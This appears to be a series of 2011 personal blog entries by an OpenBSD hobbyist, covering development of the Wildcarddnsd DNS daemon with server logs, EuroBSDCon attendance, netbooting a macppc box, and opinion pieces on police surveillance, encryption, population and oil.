September 3rd, 2011
When it comes to data retention for law enforcement, where do you draw the line
between helping law enforcement and preventing a police state? I had a quick
thought about this and was thinking why don't service providers give their
data to the law enforcement in real-time with a twist. The data is encrypted
with a random key string and the key is then deleted. The police have to then
brute-force crack the encryption costing them resources (electricity, cpu
time). This discourages cracking too much because society's energy resources
are not endless and computers are expensive. As computers get more powerful
the crypto is adjusted to match more powerful algorithms. The police have a
turnaround of X amount of days or hours to break 1 record and society as a whole
is protected from the panopticon.
Wenn man mit Zugangsdaten umgeht und es der Polizei liefert, wo zieht man den
Strich zwischen helfen der Polizei und einen Polizeistaat zu vermeiden. Ich
hatte eine kleine Gedankenspause darueber und dachte das es mit den Providern
doch moeglich waere die Zugangsdaten in echt-zeit zu uebergeben. Aber mit
einer grossen Aenderung. Und zwar werden die Daten mit einem zufaelligem
Passwort verschluesselt und der Schluessel wird dann vernichtet. Die Polizei
muessen dann die Verschluesselung brechen was ihnen Zeit und Geld kostet
(Elektrisitaet und Computer Zeit). Dieses verfahren soll die Polizei entmutigen
alle Daten zu knacken da der Gesellschafts die Energie nicht endlos ist und
Computer kosten viel Geld (Grossrechner). Wenn Computer mehr Kraft bekommen
wird der Crypto auch angepasst so das es immer einige Zeit dauert bis eine
Datei (record) geknackt ist. Die Polizei hat einige Zeit von mehreren Stunden
oder Tagen, einen Record zu knacken und die Gesellschaft ist geschuetzt vor
dem Panoptikon.
PS: You can use all crypto algorithms available in order to strengthen the
entire scheme. If for example AES is broken mathematically but Twofish is
not then only those records encrypted with AES are vulnerable to being opened
on a mass scale. I have a book where there is at least 30 algorithms listed,
some weaker and some stronger, some broken and some good to go with, if all
of them are used then chances are good for a non-policestate.
OpenBSD 5.0 pre-orders announced & song
September 7th, 2011
Today Theo de Raadt, made the 5.0 song available. He also said pre-orders
are now
activated. Shortly afterwards
OpenBSD Europe said they'd also offer
pre-orders a few hours later.
Now about the song. The theme is based on MAD Magazine. In my lifetime I
maybe bought 1 MAD magazine and I didn't like it. I didn't understand it
though because I was a german immigrant to north america and didn't know the
english language too well. But the song did surprise me, I would have never
guessed the direction it took this time, good job.
Possibly going to EuroBSDCon 2011
September 15th, 2011
I've been approved holidays on the week that
EuroBSDCon is held in the
Netherlands. So I may just go there. I'll likely get the registration
out of the way the next week or so. It's been 11 years since I've last
been at a BSDCon, the last time was in Monterrey in California. It's a good
thing I got a bit of savings as it's going to cost a bit, but it's likely
worth it.
Wildcarddnsd and AXFR
September 17th, 2011
Wildcarddnsd does passive AXFR now. I finally hammered the code into the
thing and debugged it over a period of 2 weeks. So what I've done is changed
goldflipper.net's name daemon to bind9 and it now AXFR queries the zones from
uranus.centroid.eu doing AXFR. The code of this isn't publically available
yet as I haven't committed it yet, but if everything goes well I'll look at
committing within the next 2 weeks.
Also there have been some core changes in wildcarddnsd, more on that later.
Going to EuroBSDCon for sure
September 18th, 2011
Well I just paid the registration including 1 tutorial. I'll be attending
the "Building the network you need with PF, the OpenBSD packet filter"
tutorial by Peter N. M. Hansteen. I'm hoping to pick up some nifty tricks
and get more familiar with the packet filter in general. Then I'll also
attend the conference and social event. I enter Amsterdam on the 5th of
October and then take the train to Maarssen on the 6th. On the 7th is the
tutorial and 8th and 9th are the conference, on the 10th I'm going back to
Germany by train and on the 11th I go back to work. Well I wish I could
say see you there, but what the hell. See you there.
Equinox in 5 days
September 18th, 2011
Equinox is upon us again
and will indicate that Autumn has arrived in the northern hemisphere.
Auf Deutsch, das
Aequinoktium ist in fuenf Tagen wieder da. Fuer .de heisst das Herbst.
Mega-commit on Wildcarddnsd
September 19th, 2011
Well the AXFR code is in the wild now (:P).
Here
is a commit message that should be very informative on what was changed.
Wildcarddnsd Handbook
September 28th, 2011
I've created a small
Handbook for the design and implementation of the Wildcarddnsd program. It
may be interesting to some and you could learn something from it. I'm thinking
of one day making this into a magicpoint presentation for speaking somewhere.
Bye Bye seti@home, Hello Rosetta@home
September 28th, 2011
I've been doing seti@home on and off before it was a BOINC task. However
I'm getting weary of waiting for news of SETI discoveries. It's time to
do something new. Out goes
seti@home and in goes
Rosetta@home. Rosetta@home is similar to Docking@home which I also
participate in. It's really time to dedicate my computer to humans instead
of aliens, we're in greater need (in our ignorance). If you're interested
in what my BOINC stats are, here they are.
I'm in spot 142,597 out of 2.2 million and dropping by 19 daily. That's OK
though I'm not complaining.
Weird BIND9 observance
September 29th, 2011
Ever since I put in IXFR support in Wildcarddnsd I have been watching the logs
and I have a very weird problem. Basically all zones except one DON'T get
pulled. What's weird about this is that I'd expect either all zones get pulled
on a regular basis or none like all but one are doing right now. When I
restarted bind9 on goldflipper.net it pulled a zone update for centroid.eu
and ever since has been pulling it on a regular basis. The SOA is the same
on both goldflipper.net and uranus.centroid.eu:
Below is roughly an 80 line log of wildcarddnsd AXFR operations to show you
what I mean.
Sep 29 10:52:37 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 11:06:45 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 11:09:01 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 11:09:02 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 11:09:02 uranus wildcarddnsd[9575]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 11:11:32 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 11:21:45 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 11:33:05 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 11:35:17 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 11:50:35 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 11:55:40 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 11:58:49 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 11:58:50 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 11:58:50 uranus wildcarddnsd[1519]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 12:07:16 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 12:08:14 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 12:20:39 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 12:25:34 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 12:38:01 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1,
answering "4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 12:43:14 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 12:45:44 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 12:45:44 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 12:45:44 uranus wildcarddnsd[28509]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 12:59:30 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 13:07:35 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 13:16:02 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 13:23:37 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 13:34:29 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 13:41:04 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 13:45:00 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 13:45:00 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 13:45:00 uranus wildcarddnsd[5739]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 13:56:28 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 14:01:17 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 14:15:23 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 14:15:56 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 14:22:09 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 14:36:45 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 14:36:45 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 14:36:46 uranus wildcarddnsd[24765]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 14:39:57 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 14:42:54 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 14:58:11 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 15:01:45 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 15:07:53 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 15:21:41 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 15:24:44 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 15:24:44 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 15:24:45 uranus wildcarddnsd[24475]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 15:35:52 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 15:40:33 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 15:48:48 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 15:57:30 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 16:02:28 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 16:17:02 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1,
answering "4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 16:21:36 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 16:21:36 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 16:21:37 uranus wildcarddnsd[28113]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 16:27:13 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 16:29:53 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 16:42:54 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 16:47:16 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 16:56:16 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 17:09:33 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 17:09:33 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 17:09:33 uranus wildcarddnsd[15234]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 17:12:10 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 17:17:59 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 17:23:17 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 17:36:57 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 17:39:57 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 17:43:05 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 17:58:41 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 17:58:41 uranus wildcarddnsd[7545]: AXFR connection from
200.46.208.61 on interface "em0"
Sep 29 17:58:41 uranus wildcarddnsd[16657]: IXFR request for zone
"centroid.eu.", replying...
Sep 29 18:03:31 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 18:12:30 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 18:13:11 uranus wildcarddnsd[14017]: request on descriptor 24
interface "em0" from 200.46.208.61 (ttl=0, region=255) for
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
I sent an email to the BIND-users mail list but I think it got stopped by the
mail administrator or got dumped to /dev/null.
I miss you!
October 2nd, 2011
The blackbird (Turdus merula) here has disappeared. I can't see them any more and someone
told me they had a mass dying. Some virus perhaps.
Here is a picture I took of a blackbird in Schweinfurt a few years ago during
winter feeding on my parents porch. They were cheerful birds always singing
very loud and getting on someones nerve while I was programming. But now
that it's all silent, I kinda miss the dang things. May you have better
fares in the place you are now!
My Business Card
October 4th, 2011
I got 100 business cards made for EuroBSDCon. I got the idea at BSDCon 2000
where I got at least 10 or so cards from 10 people. Here is how mine looks
like:
I'm getting on a train tomorrow so this should be the last blog entry before
October 10th. I'm not going to have guaranteed 'net but if I do I have an
OTP skey system set up that allows me to reach an account on my DSL.
Photos from EuroBSDCon 2011
October 10th, 2011
I got back home earlier today from the hotel in Maarssen. Here is some
photos that I made of people and the venue. Enjoy. Email me if you are
in these photos and want them removed.
Unfortunately many photos turned out blurry and distorted, I decided not to
put those ones up. Maybe I need a new camera.
Goodbye, World (Celebrating the life of Dennis Ritchie)
October 13th, 2011
I saw a similar posting on Slashdot...
int
main(void)
{
printf("Goodbye, World.\n");
exit(0);
}
I bought the book "The ANSI C Programming Language" (second edition) three
times in my life. One is in the hands of a stranger who I gave this book
at the GTABUG BSD Usergroup meet in Toronto. But this article is not about
the book but rather the author of this book who recently died. Rest in
Peace Dennis Ritchie, and may everyone who was touched by your wonderful
creations celebrate your life! Mourn death, but celebrate life. Thanks
for making me understand (somewhat)!
The FreeBSD German Documentation Project
October 15th, 2011
At EuroBSDCon I had the pleasure to speak to Benedict Reuschling who is
involved in the german documentation project. They are always looking for
more people able to translate from english to german. Here is
their website.
Als ich auf EuroBSDCon war hatte ich die Ehre mit Benedict Reuschling zu
reden der bei dem FreeBSD Deutschen Dokumentations Projekt arbeitet. Sie
suchen immer mehr Leute die Englisch zu Deutsch übersetzen können
Hier ist die Webseite des Projektes.
Did you know you could get BSD Certified?
October 16th, 2011
At EuroBSDCon I met and spoke a bit with Dru Lavigne. She does the BSD
Certifications at most major BSD events. All in all a good thing if you
live in a place where certifications are important. If I go to
EuroBSDCon next year I'll try to do the certification myself. The
website is here at bsdcertification.org
. I also made a photo of Dru but it turned out very blurred so I can't
share that, sorry.
German Trojan, some thoughts
October 19th, 2011
This story is circulating. I noticed that the
programs being spied on are programs that use encryption and that's probably
what the police are out to get at, encryption keys or seeing what someone is
doing what they can't see by simply wiretapping the line. I noticed they are
interested in skype (which uses encryption). What it comes down to is that
there is a frustration out there that the cops want to see through the
encryption of end-users that they suspect for whatever reasons. In a way
this is a nicer way of peeking through encryption than installing X amounts
of supercomputers to crack the encryption used, it's likely also cheaper.
The underlying problem of creating a police state is real though. So where
do you find a median? We can't turn encryption off as some countries
dictate because organized crime will get to us before the cops can protect
us, and the losses will be huge. We can't install supercomputers because
they suck up too much energy and cost too much. So what can the cops do to
track criminals? It's not so easy, why don't you send me your thoughts?
Lastly we don't want to put the cops in a position where they can surveil
anyone or everyone without a court order.
Rocket Scientists, why can't this be done?
October 24th, 2011
I was wondering why humans insert rockets in a circular orbit around the
earth first and then gun the engines to "escape". First a picture of
how it's done currently.
I envision space craft going directly up into the sun toward L1 Lagrange.
Basically it's ascending straight up, followed by a coast and then possibly
ION engines backed by possible lasers (for energy) from the ground, in order
to stay at this Lagrange point.
Basically up there it's like an eagles nest in the mountains. You experience
day at all times, see the earth lit all times, and are able to move between
other lagrange points with little to no chemical energy. Also accessing the
moon from there should be no problem.
7 Billion Humans
October 26th, 2011
Here
is a United Nations report that says we'll hit 7 Billion (estimate) Humans
in five days. I gotta say congratulations to the human race, but at the same
time I'm worried because in the 1970's we had just 4 Billion people on earth.
Here is the Universal
Declaration of Human Rights that SHOULD give every human, every one of
our 7 Billion, the rights that are the foundation of freedom, justice and
peace.
I have some issues with the large number of people like mentioned above, but
let me ask some questions. How are we going to feed everyone? Oil is running
out, how can we keep relative comforts for everyone? More fresh water is
polluted every day, how can we ensure drinking water for everyone? Machinery
is taking away humans work, how can we accept being unemployed because of it?
We realise we live on a planet in space, how can we ever accept that there is
other species elsewhere?
OpenBSD 5.0 Released
November 1st, 2011
Well I was hoping to give you news of my CD's having arrived but they aren't
here yet. So I did an FTP of the install50.iso file for the amd64 architecture
and upgraded 2 vm's so far. I've made a screen shot:
Well as you can tell by the screenshot Libreoffice is in 5.0 instead of
OpenOffice. This is amazing! Also facebook stopped working for the 4.9
browser a few days ago. The browser bundled with OpenBSD 5.0 makes
facebook work again. Yay! Let's hope this will be as consistent and stable
as the 4.9 release. I'll be upgrading uranus.centroid.eu soonish.
uranus upgraded
November 4th, 2011
I've upgraded my dear
box uranus to OpenBSD 5.0. Downtime was about one hour as I was upgrading
packages as well in single user mode. Some packages didn't want to be
upgraded, and I'll have to sort that out. Otherwise it worked like a
charm.
That's the version of the kernel running on it now.
Got a new VPS
November 7th, 2011
I got a new VPS. It's called io.solarscale.de.
I got this because goldflipper.net was down for 1.5 days and my DNS was hanging
on a string. The new host io doesn't do DNS just yet but it will in the next
few days. One bonus is that it does IPv6, and one drawback is that it's not
BSD. Oh well. I'll be comparing goldflipper.net and io for the next year and
a half and decide which one I will keep running. It's a matter of quality of
service.
$ host www.centroid.eu
www.centroid.eu has address 78.47.14.22
www.centroid.eu has address 200.46.208.61
www.centroid.eu has IPv6 address 2001:a60:f074:4::1
www.centroid.eu has IPv6 address 2a01:4f8:d13:1980::22
As you can see www.centroid.eu is DNS load shared between three hosts. io and
goldflipper for IPv4 and uranus and io for IPv6.
Upgraded Anti-Virus
November 11th, 2011
Today I bought Anti-virus for my Windows 7 vm. I was 1 day away from losing
my support and subscription so I bought it for this and 2 other PC's for
a years subscription. I believe all windows computers need anti-virus and
I even bought anti-virus for my dad's Mac. It's very important to keep
malware out.
Rant on oil
November 12th, 2011
I'm worried about the human race. Ever since the great wars in the 1940's
we've been using gasoline and oil based fuels to power our economies. Our
economies pride themselves by having multiple trading partner, so as to not
be relied on one partner too much, yet we don't do this with transportation
means such as cars. People are lazy too. They will boycott buying gasoline
_for a day_ to make statements but it doesn't get any results. What we have
to do as a human race is to strip ourselves free of this dependency and create
a _mix_ of transportation means so that we don't fall into poverty when there
is no more oil. Guys ride your bikes more often! Mayors! Ban cars in cities
unless they are electric! We can't sleep on this or else we'll be poor as
we were in the beginning of the industrial revolution when the oil runs out.
Let's try to have 50% electric cars and 50% gasoline cars by 2020! I wager
that in 2022 the oil will run out if not sooner.
Donated 25 euros to Wikipedia
November 15th, 2011
Donation time is coming around again and I'm making more money as I have a
job this year so I thought I'd spend a little more. Here is a comment I was
able to put up for my money.
Thinking of donating to a few other projects now that I'm at it.
chroot script for Bind 9.8.1-P1 and FreeBSD 7.4-STABLE
November 17th, 2011
I noticed that the install process on FreeBSD is different than the Makefile
provided with BIND 9.8.1-P1. So I made a script that you execute inside the
build directory of bind 9.8.1-P1. Make sure you only run this there, never
run this on / it will delete stuff out of the system!
Be sure to look this script over before you run it. It will install most
bind9 stuff under the "usr" directory which isn't existing in the bind9
directory. Cheers!
Profiling DNS answers
November 19th, 2011
Out of boredom I dumped the answers of A RR's for centroid.eu from my 3
different nameservers in production for that zone. I made pictures too.
In conclusion:
BIND answers with the most data, it compresses the first answer with
C00C (compressed from the question).
NSD3 answers with intermediate data, it doesn't compress the first name
in the answer section and is thus identifiable
Wildcarddnsd serves as little answers as possible (this could change),
and it compresses the first name in the answer section (compressed from the
question)
Have a nice day!
Netbooting OpenBSD/macppc
November 21st, 2011
I activated mars.centroid.eu (not on IPv6 yet). It took me a while to
boot the kernel on it because it has a broken cdrom, and my external
CDROM was not detected on it. So I had to netboot it. The experience
I'd like to document.
And then of course turn on portmap, nfsd, and mountd. kill -HUP inetd and
start dhcpd on em5. That did not boot it automatically but when you do a
set image bsd.rd in ofwboot on the macppc machine and then boot it should
boot into the kernel.
The boot command is: boot enet:,ofwboot /bsd.rd ...
It will first look up DHCP get the IP and then download ofwboot from the
TFTP server, it will then NFS mount /tftpboot and download the kernel
bsd.rd from there, from then on it'll boot normally into the install disk.
mars.centroid.eu dmesg
November 22nd, 2011
I've owned this computer 10 years now. When I bought it it ran OpenBSD 3.0
or so (back when there was still OpenBSD powerpc). In the meantime it
loaded Mac OS X, ran for my parents and then it was mothballed... well I
saved it didn't I.
[ using 490376 bytes of bsd ELF symbol table ]
console out [ATY,Rage128Pd]console in [keyboard] , no keyboard attached, trying
usb anyway
: memaddr 94000000 size 4000000, : consaddr 96008000, : ioaddr 90020000, size 20
000: memtag 8000, iotag 8000: width 640 linebytes 768 height 480 depth 8
Copyright (c) 1982, 1986, 1989, 1991, 1993
The Regents of the University of California. All rights reserved.
Copyright (c) 1995-2011 OpenBSD. All rights reserved. http://www.OpenBSD.org
OpenBSD 5.0 (GENERIC) #69: Wed Aug 17 10:17:02 MDT 2011
deraadt@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC
real mem = 805306368 (768MB)
avail mem = 768524288 (732MB)
mainbus0 at root: model PowerMac5,1
cpu0 at mainbus0: 7400 (Revision 0x209): 450 MHz: 1MB backside cache
mem0 at mainbus0
spdmem0 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem1 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem2 at mem0: 256MB SDRAM non-parity PC133CL2
memc0 at mainbus0: uni-n
kiic0 at memc0 offset 0xf8001000
iic0 at kiic0
mpcpcibr0 at mainbus0 pci: uni-north, Revision 0xff
pci0 at mpcpcibr0 bus 0
pchb0 at pci0 dev 11 function 0 "Apple Uni-N AGP" rev 0x00
vgafb0 at pci0 dev 16 function 0 "ATI Rage Fury" rev 0x00, mmio
wsdisplay0 at vgafb0 mux 1: console (std, vt100 emulation)
mpcpcibr1 at mainbus0 pci: uni-north, Revision 0x16
pci1 at mpcpcibr1 bus 0
pchb1 at pci1 dev 11 function 0 "Apple Uni-N" rev 0x00
macobio0 at pci1 dev 23 function 0 "Apple Keylargo" rev 0x03
openpic0 at macobio0 offset 0x40000: version 0x4614 little endian
macgpio0 at macobio0 offset 0x50
macgpio1 at macgpio0 irq 47
pgs0 at macgpio0: irq 55
"i2s" at macobio0 offset 0x10000 not configured
"escc-legacy" at macobio0 offset 0x12000 not configured
